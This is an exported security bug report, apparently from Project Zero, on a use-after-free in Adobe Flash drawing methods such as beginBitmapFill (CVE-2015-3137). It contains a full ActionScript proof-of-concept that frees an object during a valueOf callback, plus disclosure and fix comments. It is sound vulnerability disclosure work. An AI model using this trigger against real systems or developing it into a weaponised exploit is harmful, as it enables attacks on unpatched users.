Adobe Flash: Use-after-free in Drawing Methods this

[GoogleCodeExporter]

There are use-after frees realated to storing a single pointer (this this 
pointer) in several MovieClip drawing methods, including beginFill, 
beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo 
and lineStyle. A proof-of-concept involving bitmapFill is bewlo:

import flash.display.*;
import flash.geom.*;

var bmpd:BitmapData = new BitmapData(20,20);
var rect1:Rectangle = new Rectangle(0,0,10,10);
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
bmpd.fillRect(rect1, 0xAA0000FF);
bmpd.fillRect(rect2, 0xAA00FF00);
bmpd.fillRect(rect3, 0xAAFF0000);
bmpd.fillRect(rect4, 0xAA999999);
var thiz = this;
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {

    var n = {valueOf: func};
    matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; 
    //matrix.rotate(Math.PI/8);
    repeat = true;
    smoothing = true;
    beginBitmapFill(bmpd, matrix, repeat, smoothing);
    moveTo(0, 0);
    lineTo(0, 60);
    lineTo(60, 60);
    lineTo(60, 0);
    lineTo(0, 0);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){

    var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
    trace(test);
    test.removeTextField();
    return 777;
    } 

A sample fla and swf are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 15 May 2015 at 9:33

Attachments:

• bitmapfill.swf
• bitmapfill.fla

[GoogleCodeExporter]

This is PSIRT-3714. 

Original comment by natashe...@google.com on 18 May 2015 at 10:40

[GoogleCodeExporter]

Original comment by cev...@google.com on 5 Jul 2015 at 6:33

• Added labels: CVE-2015-3137

[GoogleCodeExporter]

Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

• Changed state: Fixed
• Added labels: Fixed-2015-Jul-8

[GoogleCodeExporter]

Original comment by natashe...@google.com on 18 Aug 2015 at 7:24

• Removed labels: Restrict-View-Commit